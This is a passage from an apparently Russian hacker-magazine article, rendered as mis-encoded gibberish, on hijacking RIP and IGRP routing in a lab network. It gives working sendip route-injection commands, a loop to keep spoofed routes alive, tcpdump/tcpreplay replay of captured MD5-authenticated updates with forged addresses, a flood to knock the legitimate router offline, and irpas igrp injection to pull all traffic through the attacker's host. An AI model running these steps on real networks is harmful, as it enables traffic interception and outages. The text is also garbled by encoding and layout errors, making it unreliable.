R 192.168.10.0/24 [120/1] via 192.168.69.102, 00:00:22, Ethernet0

Ñõåìà ñåòè äëÿ NAT'à



R 192.168.10.0/24 [120/1] via 

192.168.69.100, 00:00:01, Ethernet0

Àäìèíèñòðàòèâíàÿ äèñòàíöèÿ ìàðøðóòà ðàâíÿåòñÿ
120 (çíà÷åíèå ïî óìîë÷àíèþ äëÿ ïðîòîêîëà RIP), êî-
ëè÷åñòâî óçëîâ äî ýòîé ñåòè ðàâíî 1.

Ïîñëå äîáàâëåíèÿ ñâîåãî ìàðøðóòà ìîæíî
óäàëÿòü ìåøàþùèé ëåãèòèìíûé ìàðøðóò, äëÿ ÷å-
ãî ïîñûëàåòñÿ ïàêåò, êàê áóäòî áû ïðèøåäøèé ñ
õîñòà Ì1, ñ áîëåå âûñîêîé ìåòðèêîé. Ìû ïîìåíÿ-
ëè ìåòðèêó ëåãèòèìíîãî ìàðøðóòà íà 2, è ìàðøðó-
òèçàòîð àâòîìàòè÷åñêè óäàëèë ëåãèòèìíûé ìàðø-
ðóò, îñòàâèâ òîëüêî ââåäåííûé. Ïðè ââåäåíèè ìåò-
ðèêè ìàðøðóòà, ðàâíîé 16, îí áóäåò àâòîìàòè÷åñ-
êè óäàëåí, äàæå åñëè åìó íåò àëüòåðíàòèâû.

Ïîìíè, ÷òî ïî óìîë÷àíèþ îïîâåùåíèÿ ïðîèñ-
õîäÿò ñ 30-ñåêóíäíûì èíòåðâàëîì. È åñëè õî÷åøü,
÷òîáû ïóòü ïîñòîÿííî îñòàâàëñÿ ïðèîðèòåòíûì, íå
çàáóäü îïîâåùàòü î æèçíåäåÿòåëüíîñòè ââåäåííî-
ãî ìàðøðóòà êàæäûå 30 ñåêóíä èëè ÷àùå.

îòñûëêà îîïîâåùåíèÿ ââ ööèêëå
arhontus / # while :; do sendip <ìàðøðóò>

; sleep 30; done

Ìàðøðóò, êîòîðûé ïîäâåðãëè óäàëåíèþ, ïîÿâèòñÿ
â òàáëèöå ïîñëå î÷åðåäíîãî ïàêåòà îïîâåùåíèÿ,
ïðèøåäøåãî ñ ëåãèòèìíîãî ìàðøðóòèçàòîðà, òàê
÷òî ìîæåøü âêëþ÷èòü åãî óäàëåíèå â öèêë îïîâå-
ùåíèÿ, åñëè ñ÷èòàåøü, ÷òî àäìèí ÷àñòî çàõîäèò íà
ìàðøðóòèçàòîð è ñìîòðèò òàáëèöó ìàðøðóòîâ.
Ìàðøðóò, ðàñïðåäåëåííûé ìåæäó äâóìÿ ìàðøðó-
òèçàòîðàìè, èìååò ãîðàçäî áîëüøèå øàíñû ïðèâ-
ëå÷ü åãî âíèìàíèå.
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ðàçäåëåíèå ììàðøðóòà ííà ääâå ïïîäñåòè
arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -

rv 2 -rc 2 -re 2:0:192.168.10.0:255.255.255.0:192.168.69.102:1 192.168.69.36

èçìåíåíèå òòàáëèöû ììàðøðóòèçàöèè õõîñòà ÌÌ2 ïïîñëå ïïåðâîãî îîïîâåùåíèÿ
192.168.10.0/24 is variably subnetted, 2 subnets, 2 masks

R 192.168.10.0/25 [120/1] via 192.168.69.102, 00:00:01, Ethernet0

R 192.168.10.0/24 [120/1] via 192.168.69.100, 00:00:24, Ethernet0

ñîîáùåíèå îî òòîì, ÷÷òî ââòîðàÿ ïïîëîâèíà ññàáíåòà ïïðîõîäèò òòîæå ÷÷åðåç ííàñ
arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p rip -

rv 2 -rc 2 -re 2:0:192.168.10.0:255.255.255.0:192.168.69.102:1 192.168.69.36

èçìåíåíèå òòàáëèöû ììàðøðóòèçàöèè ííà ààòàêóåìîé ììàøèíå
192.168.10.0/24 is variably subnetted, 3 subnets, 2 masks

R 192.168.10.0/25 [120/1] via 192.168.69.102, 00:00:022, Ethernet0

R 192.168.10.0/24 [120/1] via 192.168.69.100, 00:00:16, Ethernet0

R 192.168.10.128/25 [120/1] via 192.168.69.102, 00:00:04, Ethernet0

ïåðåõâàò ïïàêåòà, îîïîâåùàþùåãî îî ííàøåì òòåñòîâîì ììàðøðóòå 1192.168.10.0/24
arhontus / # tcpdump -n -i eth0 port 520 and host 192.168.69.100 -w ripauth.pcap

ïðîâåðêà òòîãî, ÷÷òî ïïàêåò ññîäåðæèò ííåîáõîäèìûé ììàðøðóò, ññ èèñïîëüçîâàíèåì ttethereal ((tcpdump ííå
â ññîñòîÿíèè ïïðàâèëüíî îîòîáðàçèòü èèíôîðìàöèþ èèç ààóòåíòèôèöèðîâàííîãî ïïàêåòà)
arhontus / # tethereal -V -n -r ./ripauth.pcap

IP Address: 192.168.10.0, Metric: 1

Address Family: IP (2)

Route Tag: 0

IP Address: 192.168.10.0 (192.168.10.0)

Netmask: 255.255.255.0 (255.255.255.0)

Next Hop: 0.0.0.0 (0.0.0.0)

Metric: 1

IP Address: 192.168.7.0, Metric: 1

Address Family: IP (2)

Route Tag: 0

IP Address: 192.168.7.0 (192.168.7.0)

Netmask: 255.255.255.0 (255.255.255.0)

Next Hop: 0.0.0.0 (0.0.0.0)

Metric: 1

arhontus / # tcpreplay -i eth0 -e 192.168.69.102:192.168.69.36 -k 

00:00:0b:56:15:a2 -I 00:00:0a:43:12:a4 ripauth.pcap

èçìåíåíèå òòàáëèöû ììàðøðóòèçàöèè ííà ààòàêóåìîì õõîñòå
#sh ip route rip

R 192.168.10.0/24 [120/1] via 192.168.69.36, 00:00:02, Ethernet0/0

[120/1] via 192.168.69.102, 00:00:03, Ethernet0/0

R 192.168.7.0/24 [120/1] via 192.168.69.36, 00:00:02, Ethernet0/0

[120/1] via 192.168.69.102, 00:00:03, Ethernet0/0

ïðèîðèòåòû ïïîìåíÿëèñü, ññâîé ììàðøðóòèçàòîð ññòàë ïïåðâûì ââûáîðîì
#sh ip route rip

R 192.168.10.0/24 [120/1] via 192.168.69.102, 00:00:23, Ethernet0/0

[120/1] via 192.168.69.36, 00:00:01, Ethernet0/0

R 192.168.7.0/24 [120/1] via 192.168.69.102, 00:00:23, Ethernet0/0

[120/1] via 192.168.69.36, 00:00:01, Ethernet0/0

ôîðìàò ôôàéëà, ââ êêîòîðîì îîïèñàíû ììàðøðóòû
route:delay:bandwidth:mtu:reliability:load:hopcount

192.168.10.0/24
÷åðåç 192.168.69.2

192.168.10.0/24

0.0.0.0/0
÷åðåç 192.168.69.69

M1
192.168.69.1

M2
192.168.69.2

A
192.168.69.69

0.0.0.0/0

Netdude



èçìåíåíèå îîïîâåùàåìîé ììàñêè ììàðøðóòà ííà
áîëåå ññïåöèôè÷íóþ. Ïðîäîëæàÿ èçìåíÿòü òîò æå
ìàðøðóò, ïîïðîáóåì ðàçäåëèòü åãî íà äâå ïîäñå-
òè: 192.168.10.0/25 è 192.168.10.128/25. Òåì ñà-
ìûì ïîëó÷èì ïðèîðèòåò.

Íå ïóãàéñÿ, ÷òî â òàáëèöå ïðèñóòñòâóåò
192.168.10.0/24 [120/1] via 192.168.69.100. ×åðåç ýòîò
õîñò òðàôèê áîëüøå íå áóäåò ïåðåäàâàòüñÿ â ïîäñåòü,
òàê êàê íàøà ìàñêà áîëåå ñïåöèôè÷íà, îíà è âûáèðà-
åòñÿ ïðè ðåøåíèè î ìàðøðóòèçàöèè. Åñëè ìàñêà îïî-
âåùàåìîãî ìàðøðóòà ðàâíà 255.255.255.255, óêàçàòü
áîëåå êîíêðåòíóþ ìàñêó íåâîçìîæíî è ïðèäåòñÿ âû-
áèðàòü äðóãèå ïóòè ðåøåíèÿ ïðîáëåìû.

DOS ììàðøðóòèçàòîðà. Ïîñëåäíèé è ñàìûé
âåñîìûé àðãóìåíò (ñàìûé «ãðÿçíûé») — DOS ìàðø-
ðóòèçàòîðà, îïîâåùàþùåãî î êîíêðåòíîì ìàðøðóòå.
Åñëè íåëüçÿ âîñïîëüçîâàòüñÿ äâóìÿ ïðåäûäóùèìè
ñïîñîáàìè èçìåíåíèÿ òàáëèöû ìàðøðóòèçàöèè, òî
íóæíî ïðåäîòâðàòèòü îòñûëêó îïîâåùåíèé îò êîíê-
ðåòíîãî ìàðøðóòèçàòîðà, ÷òîáû îñòàëüíûå ìàðøðó-
òèçàòîðû ïîñ÷èòàëè ìàðøðóò(û) ìåðòâûì(è). Ïðîòî-
êîë RIP èñïîëüçóåò ÷åòûðå âèäà òàéìåðîâ:

1 UPDATE-ÒÀÉÌÅÐ, ÎÒÂÅ×ÀÞÙÈÉ ÇÀ
ÏÅÐÈÎÄÈ×ÍÎÑÒÜ ÏÎÑÛËÊÈ ÎÁÍÎÂËÅ-
ÍÈÉ. ÏÎ ÓÌÎË×ÀÍÈÞ ÎÁÍÎÂËÅÍÈß ÎÒ-
ÑÛËÀÞÒÑß ÊÀÆÄÛÅ 30 ÑÅÊÓÍÄ.

2 INVALID-ÒÀÉÌÅÐ, ÓÊÀÇÛÂÀÞÙÈÉ ÂÐÅ-
Ìß, ×ÅÐÅÇ ÊÎÒÎÐÎÅ ÌÀÐØÐÓÒ ÎÁÚßÂ-
ËßÅÒÑß ÍÅÏÐÈÃÎÄÍÛÌ Ê ÈÑÏÎËÜÇÎ-
ÂÀÍÈÞ, ÅÑËÈ Â ÒÅ×ÅÍÈÅ ÝÒÎÃÎ ÂÐÅ-
ÌÅÍÈ ÍÅ ÏÐÈÕÎÄÈËÈ ÎÁÍÎÂËÅÍÈß. ÏÎ
ÓÌÎË×ÀÍÈÞ ÇÍÀ×ÅÍÈÅ ÐÀÂÍßÅÒÑß
180 ÑÅÊÓÍÄÀÌ. ÍÅÑÌÎÒÐß ÍÀ ÒÎ, ×ÒÎ
ÌÀÐØÐÓÒ ÎÁÚßÂËßÅÒÑß ÍÅÏÐÈÃÎÄ-
ÍÛÌ È ÀÔÈØÈÐÓÅÒÑß Â ÝÒÎÌ ÑÎÑÒÎß-
ÍÈÈ, ÎÍ ÏÐÎÄÎËÆÀÅÒ ÈÑÏÎËÜÇÎÂÀÒÜ-
Ñß ÄÎ ÏÅÐÅÕÎÄÀ Â ÐÅÆÈÌ HOLDDOWN.

3 HOLDDOWN-ÒÀÉÌÅÐ, ÎÒÂÅ×ÀÞÙÈÉ ÇÀ
ÂÐÅÌß, Â ÒÅ×ÅÍÈÅ ÊÎÒÎÐÎÃÎ ÈÍÔÎÐ-
ÌÀÖÈß ÎÁ ÀËÜÒÅÐÍÀÒÈÂÍÛÕ ÌÀÐØÐÓ-
ÒÀÕ ÍÅ ÈÑÏÎËÜÇÓÅÒÑß. ÊÎÃÄÀ 180 ÑÅ-
ÊÓÍÄ ÈÑÒÅÊÓÒ (ÇÍÀ×ÅÍÈÅ ÏÎ ÓÌÎË×À-
ÍÈÞ) È ÅÑËÈ ÅÑÒÜ ÀËÜÒÅÐÍÀÒÈÂÍÛÅ
ËÓ×ØÈÅ ÌÀÐØÐÓÒÛ, ÎÍÈ ÏÐÈÍÈÌÀÞÒ-
Ñß Â ÒÀÁËÈÖÓ ÌÀÐØÐÓÒÈÇÀÖÈÈ.

4 FLUSH — ÂÐÅÌß, ×ÅÐÅÇ ÊÎÒÎÐÎÅ
ÌÀÐØÐÓÒ ÎÊÎÍ×ÀÒÅËÜÍÎ ÓÁÈÐÀÅÒÑß
ÈÇ ÒÀÁËÈÖÛ ÌÀÐØÐÓÒÈÇÀÖÈÈ. ÇÍÀ×Å-
ÍÈÅ ÏÎ ÓÌÎË×ÀÍÈÞ — 240 ÑÅÊÓÍÄ.

çíà÷åíèÿ ïïî óóìîë÷àíèþ ììîæíî ïïîñìîòðåòü êêîìàí-
äîé ssh iip pprotocols
2611a#sh ip protocols

Routing Protocol is "rip"

Sending updates every 30 seconds, next 

due in 4 seconds

Invalid after 180 seconds, hold down 

180, flushed after 240

Êàê âèäèøü, íóæíî âîñïðåïÿòñòâîâàòü ïîñûëêå
îáíîâëåíèé ìàðøðóòèçàòîðîì â òå÷åíèå âñåãî
òðåõ ìèíóò, äëÿ ÷åãî åñòü äåñÿòêè ïðèåìîâ. Íî íå
çàáóäåì, ÷òî ìû íàõîäèìñÿ íà îäíîé ëîêàëêå, à
ïðîöåññîðíàÿ ìîùíîñòü ìàðøðóòèçàòîðà íå ðàñ-
ñ÷èòàíà íà îáðàáîòêó äåñÿòêîâ òûñÿ÷ ïàêåòîâ îá-
íîâëåíèé â ìèíóòó. Ñîîòâåòñòâåííî, «îòêëþ÷èòü»
ìàðøðóòèçàòîð íà êàêîå-òî âðåìÿ ïðîùå âñåãî ïî-
ñûëêîé áåññìûñëåííûõ ïàêåòîâ îáíîâëåíèé.

ïðîùå ââñåãî âââåñòè ââ ööèêë ïïîñûëêó îîáíîâëåíèÿ
óòèëèòîé ssendip
while :; do <êîìàíäà> ; done

«Êîìàíäîé» ìîæåò áûòü sendip ñ íåîáõîäèìûìè
îïöèÿìè. Âïðî÷åì, åñëè «ýêîíîìèøü ýëåêòðè÷åñò-

âî» è íå õî÷åøü ëèøíèé ðàç íàïðÿãàòü öåíòðàëü-
íûé ïðîöåññîð, ñîçäàâàé îäèí ïàêåò, ñîõðàíÿé åãî
è ïåðåäàâàé â ñåòü, èñïîëüçóÿ âñòðîåííûå âîç-
ìîæíîñòè çàìå÷àòåëüíîé óòèëèòû tcpreplay. Îáðà-
òè âíèìàíèå íà îïöèè -l (loop) è -R (topspeed). Ñìî-
æåøü ïîâûñèòü ñêîðîñòè (ïî ñðàâíåíèþ ñ òåì, åñ-
ëè áû äåëàë ýòî ÷åðåç sendip). Òîëüêî áóäü îñòî-
ðîæíåé è íå óðîíè ëîêàëêó :).

÷òî ääåëàòü ññ ààóòåíòèôèêàöèåé. Ïðåäïîëî-
æèì, âçëîìàòü MD5-àóòåíòèôèêàöèþ RIP-äîìåíà
íå ïîëó÷èëîñü èç-çà ñëîæíîñòè óñòàíîâëåííîãî
êëþ÷à. Íå ñòîèò îò÷àèâàòüñÿ! Äåëî â òîì, ÷òî äàòà
àóòåíòèôèêàöèè íå ó÷èòûâàåò IP-àäðåñ îòïðàâèòå-
ëÿ — ýòèì è âîñïîëüçóåìñÿ. Ïåðåõâàòèâ è çàïèñàâ
ïàêåò îáíîâëåíèÿ, ìîæíî ïðîèãðàòü åãî ñíîâà è
ñíîâà, è îí áóäåò ïðèíÿò ìàðøðóòèçàòîðîì. Åäèí-
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òòååîîððèèÿÿ

IGRP ÈÑÏÎËÜÇÓÅÒ ÒÀÊ ÍÀÇÛÂÀÅÌÓÞ ÑÎÑÒÀÂÍÓÞ ÌÅÒÐÈÊÓ È ÏÐÈ ÅÅ ÂÛ×ÈÑËÅÍÈÈ
Ó×ÈÒÛÂÀÅÒ ÍÅÑÊÎËÜÊÎ ÔÀÊÒÎÐÎÂ:

— ÇÀÄÅÐÆÊÀ (DELAY) — ÎÁÙÀß ÇÀÄÅÐÆÊÀ ÂÑÅÃÎ ÏÓÒÈ, ÈÑ×ÈÑËßÅÌÀß Â 10-ÌÈÊÐÎ-

ÑÅÊÓÍÄÍÛÕ ÅÄÈÍÈÖÀÕ.

— ÏÐÎÏÓÑÊÍÀß ÑÏÎÑÎÁÍÎÑÒÜ ÊÀÍÀËÀ (BANDWIDTH) — ÌÎÆÅÒ ÁÛÒÜ ÓÑÒÀÍÎÂËÅÍÀ

ÄËß ÊÀÆÄÎÃÎ ÎÒÄÅËÜÍÎÃÎ ÈÍÒÅÐÔÅÉÑÀ.

— ÍÀÄÅÆÍÎÑÒÜ (RELIABILITY) — ÈÍÄÈÊÀÒÎÐ ÍÀÄÅÆÍÎÑÒÈ ÊÀÍÀËÀ ÎÏÐÅÄÅËßÅÒÑß

ÇÍÀ×ÅÍÈÅÌ Â ÈÍÒÅÐÂÀËÅ ÌÅÆÄÓ 1 È 255, ÃÄÅ 255 ÎÏÎÂÅÙÀÅÒ Î 100% ÍÀÄÅÆÍÎÑ-

ÒÈ ÊÀÍÀËÀ.

— ÇÀÃÐÓÆÅÍÍÎÑÒÜ (LOAD) — ÈÍÄÈÊÀÒÎÐ ÇÀÃÐÓÆÅÍÍÎÑÒÈ ÊÀÍÀËÀ ÎÏÐÅÄÅËßÅÒÑß

ÇÍÀ×ÅÍÈÅÌ Â ÈÍÒÅÐÂÀËÅ ÌÅÆÄÓ 1 È 255, ÃÄÅ 1 ÎÏÎÂÅÙÀÅÒ Î ÍÓËÅÂÎÉ ÇÀÃÐÓ-

ÆÅÍÍÎÑÒÈ ÊÀÍÀËÀ.

IGRP ÒÀÊÆÅ ÏÅÐÅÄÀÅÒ ÈÍÔÎÐÌÀÖÈÞ Î ÌÀÊÑÈÌÀËÜÍÎ ÂÎÇÌÎÆÍÎÉ ÅÄÈÍÈÖÅ ÏÅÐÅ-
ÄÀ×È ÄÀÍÍÛÕ (MTU), ÕÎÒß ÎÍÀ È ÍÅ ÈÑÏÎËÜÇÓÅÒÑß ÄËß ÏÎÄÑ×ÅÒÀ ÌÅÒÐÈÊÈ ÌÀÐØ-
ÐÓÒÀ, ÍÎ ÏÎÊÀÇÛÂÀÅÒ ÌÀÊÑÈÌÀËÜÍÎ ÂÎÇÌÎÆÍÛÉ ÐÀÇÌÅÐ ÏÀÊÅÒÀ ÁÅÇ ÔÐÀÃÌÅÍÒÀ-
ÖÈÈ ÄËß ÊÎÍÊÐÅÒÍÎÃÎ ÏÓÒÈ.

ôîðìóëà ïïîäñ÷åòà ììåòðèêè ääëÿ ììàðøðóòà
Metric = (Ê1 * bandwidth) + (K2 * bandwidth) / (256 — load) + (K3 * delay)

âòîðàÿ ôôîðìóëà, ååñëè êêîíñòàíòà ÊÊ5 ááîëüøå ííóëÿ
Metric = Metric * K5/ (reliability + K4)

ÊÎÍÑÒÀÍÒÛ Ê1 — Ê5 ÈÑÏÎËÜÇÓÞÒÑß ÄËß ÁÎËÅÅ ÄÅÒÀËÜÍÎÃÎ ÊÎÍÒÐÎËß ÍÀÄ ÏÎËÓ-
×ÀÅÌÎÉ ÌÅÒÐÈÊÎÉ È ÀÄÀÏÒÀÖÈÈ ÏÐÎÒÎÊÎËÀ ÄËß ÍÓÆÄ ÊÎÍÊÐÅÒÍÎÉ ÑÅÒÈ. ÏÎ
ÓÌÎË×ÀÍÈÞ ÊÎÍÑÒÀÍÒÛ Ê1 È Ê3 ÐÀÂÍÛ 1, À ÊÎÍÑÒÀÍÒÛ Ê2, Ê4 È Ê5 — 0.

óïðîùåííîå óóðàâíåíèå
Metric = (bandwidth + delay)

ÎÏÛÒ ÏÎÊÀÇÛÂÀÅÒ, ×ÒÎ ÎÁÛ×ÍÎ ÑÈÑÒÅÌÍÛÅ ÀÄÌÈÍÈÑÒÐÀÒÎÐÛ ÍÅ ÈÇÌÅÍßÞÒ ÇÍÀ-
×ÅÍÈß ÊÎÍÑÒÀÍÒ. ÂÏÐÎ×ÅÌ, ÄÅËÀÒÜ ÝÒÎ È ÍÅ ÐÅÊÎÌÅÍÄÓÅÒÑß, ÊÐÎÌÅ ÒÅÕ ÑËÓ×À-
ÅÂ, ÊÎÃÄÀ ÒÛ ÄÎÑÊÎÍÀËÜÍÎ ÇÍÀÅØÜ ÎÑÎÁÅÍÍÎÑÒÈ ÐÀÁÎÒÛ ÀËÃÎÐÈÒÌÀ ÏÐÎÒÎÊÎ-
ËÀ ÌÀÐØÐÓÒÈÇÀÖÈÈ (ÊÀÊÈÌ ÎÁÐÀÇÎÌ ÒÀÊÈÅ ÈÇÌÅÍÅÍÈß ÌÎÃÓÒ ÏÎÂËÈßÒÜ ÍÀ ÐÀ-
ÁÎÒÓ ÌÀÐØÐÓÒÈÇÀÒÎÐÎÂ). ÊÀÊ È Â ÎÑÒÀËÜÍÛÕ ÏÐÎÒÎÊÎËÀÕ ÌÀÐØÐÓÒÈÇÀÖÈÈ ÏÎ
ÂÅÊÒÎÐÓ ÐÀÑÑÒÎßÍÈß, ÏÐÅÄÏÎ×ÒÅÍÈÅ ÎÒÄÀÅÒÑß ÌÀÐØÐÓÒÓ Ñ ÌÅÍÜØÅÉ ÌÅÒÐÈÊÎÉ.



ñòâåííîå, ÷òî îòìå÷ó: íåëüçÿ èçìåíÿòü ñîäåðæè-
ìîå RIP-çàãîëîâêà, òàê ÷òî åñëè õî÷åøü ïðîèãðàòü
êàêîé-òî ïàêåò ñî ñïåöèôè÷íûì ìàðøðóòîì, çàïà-
ñèñü âðåìåíåì è æäè ïîäõîäÿùåãî ìîìåíòà â èç-
ìåíåíèè òîïîëîãèè ñåòè. Âêëþ÷èâ ïîääåðæêó
MD5-àóòåíòèôèêàöèè íà íàøåé òåñòîâîé ñåòè,
ïîñìîòðèì, ÷òî ìîæíî ñäåëàòü.

Òåïåðü ïûòàåìñÿ èçìåíèòü àäðåñ îòïðàâèòåëÿ
íà ñâîé. Äëÿ ýòîãî áåðåì ïðîãðàììó netdude èëè ñî-
âåðøàåì ïîäìåíó íàïðÿìóþ â tcpreplay. Ëþáèòåëè
ãðàôè÷åñêîãî èíòåðôåéñà ïî äîñòîèíñòâó îöåíÿò
ïåðâûé âàðèàíò, íî íå ñòîèò çàáûâàòü, ÷òî ñêîðåå
âñåãî ó íàñ íå áóäåò X’îâ íà óäàëåííîé ìàøèíå. Òàê
÷òî ëó÷øå ïðîâîäèòü ìîäèôèêàöèþ â êîíñîëè èñ-
ïîëüçóÿ âñòðîåííûå âîçìîæíîñòè tcpreplay. Íàñòîÿ-
ùèå àñû âñåãäà ìîãóò âîñïîëüçîâàòüñÿ HEX-ðåäàê-
òîðîì äëÿ ìîäèôèêàöèè ïàêåòà íàïðÿìóþ, òîëüêî
íå çàáóäü ïîìåíÿòü ïðîâåðî÷íóþ ñóììó IPV4.

Ïðè ïîìîùè îïöèè -e â ïàêåòå ïåðåïèñûâà-
þòñÿ àäðåñà îòïðàâèòåëÿ è ïîëó÷àòåëÿ. Åñëè îïå-
ðàöèÿ âûïîëíèòñÿ, ñóììû ïðîâåðêè áóäóò èçìåíå-
íû àâòîìàòè÷åñêè. Ìåíÿåì àäðåñà îòïðàâèòåëÿ
(ñ 192.168.69.100 íà 192.168.69.102) è ïîëó÷àòåëÿ
(ñ 224.0.0.9 íà 192.168.69.36). À ïðè ïîìîùè îïöèé
-k è -I èçìåíÿåì MAC-àäðåñà, âçÿòûå èç ARP-òàá-
ëèöû, èíà÷å â ïàêåòå îñòàíåòñÿ ARP-àäðåñ ìíîãî-
àäðåñíîé ðàññûëêè 01:00:5e:00:00:09, ñîîòâåò-
ñòâóþùèé 224.0.0.9.

Ìàðøðóò áûë ïðèíÿò, íî îêàçàëñÿ âòîðè÷-
íûì, ÷åãî è ñëåäîâàëî îæèäàòü. Òåïåðü çàñòàâèì
ìîë÷àòü ìàðøðóòèçàòîð, ïîñûëàþùèé ëåãèòèì-
íûå ìàðøðóòû, è îäíîâðåìåííî áóäåì ïîñûëàòü
ïàêåòû îáíîâëåíèÿ íà àòàêóåìûé ìàðøðóòèçàòîð.
×åðåç òðè ìèíóòû íàø ìàðøðóò ïîëó÷èò ïðåäïî÷-
òåíèå. Åäèíñòâåííûé ìîìåíò, êîòîðûé ñòîèò óïî-
ìÿíóòü: â òå÷åíèå ýòîãî âðåìåíè òðàôèê ïåðåñòà-
íåò õîäèòü ÷åðåç ëåãèòèìíûé ìàðøðóòèçàòîð, êî-
òîðûé DOS’èòñÿ... 

Ïî óìîë÷àíèþ èíôîðìàöèÿ î ñòàíäàðòíîì
ìàðøðóòå íå âêëþ÷àåòñÿ â îáíîâëåíèÿ RIP-ïàêåòà.
Îäíàêî â ñåòÿõ, â êîòîðûõ âîçìîæíà ÷àñòàÿ ñìåíà
IP-àäðåñà ñòàíäàðòíîãî øëþçà èëè åñëè àäìèí ïî-
ëåíèëñÿ ïðîïèñàòü IP-àäðåñ íà êàæäîé èíäèâèäó-
àëüíîé ìàøèíå ëèáî îí ïðîñòî ñ÷èòàåò ðåäèñòðèáó-
öèþ òàêîé èíôîðìàöèè ïðèêîëüíîé ôèøêîé, òâîÿ
çàäà÷à îãðàíè÷èòñÿ ïîëó÷åíèåì òàêîãî ïàêåòà.
Ïîñëå åãî ïðîèãðûâàíèÿ íà àäðåñ ìíîãîàäðåñíîé

ðàññûëêè âåñü òðàôèê ñ ìàðøðóòèçàòîðîâ, ïîëàãà-
þùèõñÿ íà ïîëó÷åíèå ýòîé èíôîðìàöèè èç RIP-ïà-
êåòîâ, áóäåò ïðîõîäèòü ÷åðåç íàøó ìàøèíó. Õîðî-
øèì ïðàâèëîì ïîâåäåíèÿ/êîíôèãóðàöèè âñå æå ñ÷è-
òàåòñÿ óñòàíîâêà ñòàíäàðòíîãî øëþçà ñòàòè÷åñêèì
îáðàçîì, à íå ÷åðåç default-information originate.

àòàêè ííà IIGRP. IGRP íå ïîääåðæèâàåò àóòåí-
òèôèêàöèþ, ïîýòîìó åäèíñòâåííîå, ÷òî íóæíî ïî-
ëó÷èòü, — íîìåð àâòîíîìíîé ñèñòåìû. Åñëè íàõî-
äèøüñÿ íà îäíîé ñåòè, òî ñìîæåøü óâèäåòü ýòó
÷àñòü èíôîðìàöèè èç ïåðåõâà÷åííîãî ïàêåòà, à
óäàëåííûå àòàêóþùèå äîëæíû áóäóò äåéñòâîâàòü
ìåòîäîì ïåðåáîðà.

èíôîðìàöèÿ èèç ïïåðåõâà÷åííîãî ïïàêåòà
arhontus / # tethereal -n -i eth0 proto 

9 -V

Cisco IGRP

IGRP Version : 1

Command : 1 (Response)

Update Release: 0

Autonomous System: 31337

Interior routes : 0

System routes : 1

Entry for network 192.168.30.0

Network = 192.168.30.0

Delay = 2000

Bandwidth = 6476

MTU = 1500 bytes

Reliability = 255

Load = 1

Hop count = 0 hops

Exterior routes : 0

Checksum = 0x63fe

Ïî óìîë÷àíèþ ñòàíäàðòíîå âðåìÿ ïîñûëêè îïîâå-
ùåíèé ðàâíÿåòñÿ 90 ñ, è êàæäîå îïîâåùåíèå
âêëþ÷àåò èíôîðìàöèþ î âñåé òàáëèöå ìàðøðóòè-
çàöèè. Êàê âèäíî ïî ïåðåõâà÷åííîìó ïàêåòó, èí-
ôîðìàöèÿ î íåñêîëüêèõ äîïîëíèòåëüíûõ ôàêòî-
ðàõ, ñîïóòñòâóþùàÿ êàæäîìó êîíêðåòíîìó ìàðø-
ðóòó, òàêæå ïðèñóòñòâóåò.

ââîä ííîâûõ ììàðøðóòîâ ââ IIGRP. Äëÿ ââîäà íî-
âûõ ìàðøðóòîâ ìîæíî âîñïîëüçîâàòüñÿ óòèëèòîé
igrp èç irpas suite — åäèíñòâåííûì íà ñåãîäíÿ äîñ-
òóïíûì ñðåäñòâîì ââîäà ïðîèçâîëüíûõ ìàðøðó-
òîâ â ïðîòîêîë IGRP.

ââîä ííîâûõ ììàðøðóòîâ
arhontus irpas # ./igrp --help

Usage:

./igrp [-v[v[v]]] -i <interface> -f

<routes file>

-a <autonomous system> [-b brute force end]

[-S <spoofed source IP>] [-D <destina

tion ip>]

Äîïîëíèòåëüíî ñîçäàäèì ôàéë, ãäå îïèñàíû
ìàðøðóòû, êîòîðûå áóäåì ââîäèòü â àâòîíîìíóþ
ñèñòåìó. 

Íàø ìàðøðóò áûë ïðèíÿò áåç îñîáûõ ïðîá-
ëåì. Òåïåðü ïîïûòàåìñÿ èçìåíèòü ìàðøðóòèçà-
öèþ ñóùåñòâóþùèõ ìàðøðóòîâ è ïåðåíàïðàâèòü
âåñü òðàôèê ÷åðåç ñåáÿ. Çíàÿ, êàêèì îáðàçîì
ïîäñ÷èòûâàåòñÿ ìåòðèêà, óêàæåì ñàìûå âûèã-
ðûøíûå çíà÷åíèÿ ââîäèìîãî ìàðøðóòà, îòîøëåì
åãî ìàðøðóòèçàòîðó è ïîñìîòðèì, êàêèì îáðàçîì
èçìåíèëàñü ìåòðèêà.

ïîñûë ììàðøðóòèçàòîðó èè èèçìåíåíèå ììåòðèêè
arhontus irpas # cat routes.kos

192.168.10.0:1:1:1500:255:1:1

sh ip route igrp

I 192.168.10.0/24 [100/1101] via 

192.168.69.102, 00:00:01, Ethernet0

Íàø ìàðøðóò âûòåñíèë ïðåäûäóùèé ëåãèòèìíûé
ìàðøðóò, ÷åãî ìû è õîòåëè. Íå çàáóäü ïîñûëàòü
ðåãóëÿðíûå ïàêåòû îáíîâëåíèé êàæäûå 90 ñåêóíä,
èíà÷å òâîé ìàðøðóò îáúÿâÿò ìåðòâûì è áûñòðî
èñêëþ÷àò èç òàáëèöû ìàðøðóòèçàöèè.

çíà÷åíèÿ ïïî óóìîë÷àíèþ ((êîìàíäà ssh iip pprotocols)
2503b#sh ip protocols

Routing Protocol is "igrp 31337"

Sending updates every 90 seconds, next 

due in 32 seconds

Invalid after 270 seconds, hold down 

280, flushed after 630

âûâîäû
Ìû ðàññìîòðåëè ïðèíöèïû àòàê íà ïðîòîêîëû
ìàðøðóòèçàöèè, ðàáîòàþùèå ïî àëãîðèòìó ìàðø-
ðóòèçàöèè ïî âåêòîðó ðàññòîÿíèÿ. Áîëüøèíñòâî
îïèñàííûõ â ñòàòüå àòàê ìîãóò áûòü ïðåäîòâðàùå-
íû èëè âîâðåìÿ çàìå÷åíû, ïðè óñëîâèè ÷òî ïðîòî-
êîëû ìàðøðóòèçàöèè íàñòðîåíû ïðàâèëüíî è èñ-
ïîëüçóþòñÿ àóòåíòèôèêàöèÿ è ëèñòû êîíòðîëÿ
äîñòóïà, òàêæå ïðè óñòàíîâêå è ìîíèòîðèíãå ñåð-
âåðà æóðíàëà ñîáûòèé. Æàëü, íî ìû æèâåì â íåè-
äåàëüíîì ìèðå, è áîëüøèíñòâî ñèñòåìíûõ àäìè-
íèñòðàòîðîâ çàáûâàþò èëè ïðîñòî èãíîðèðóþò
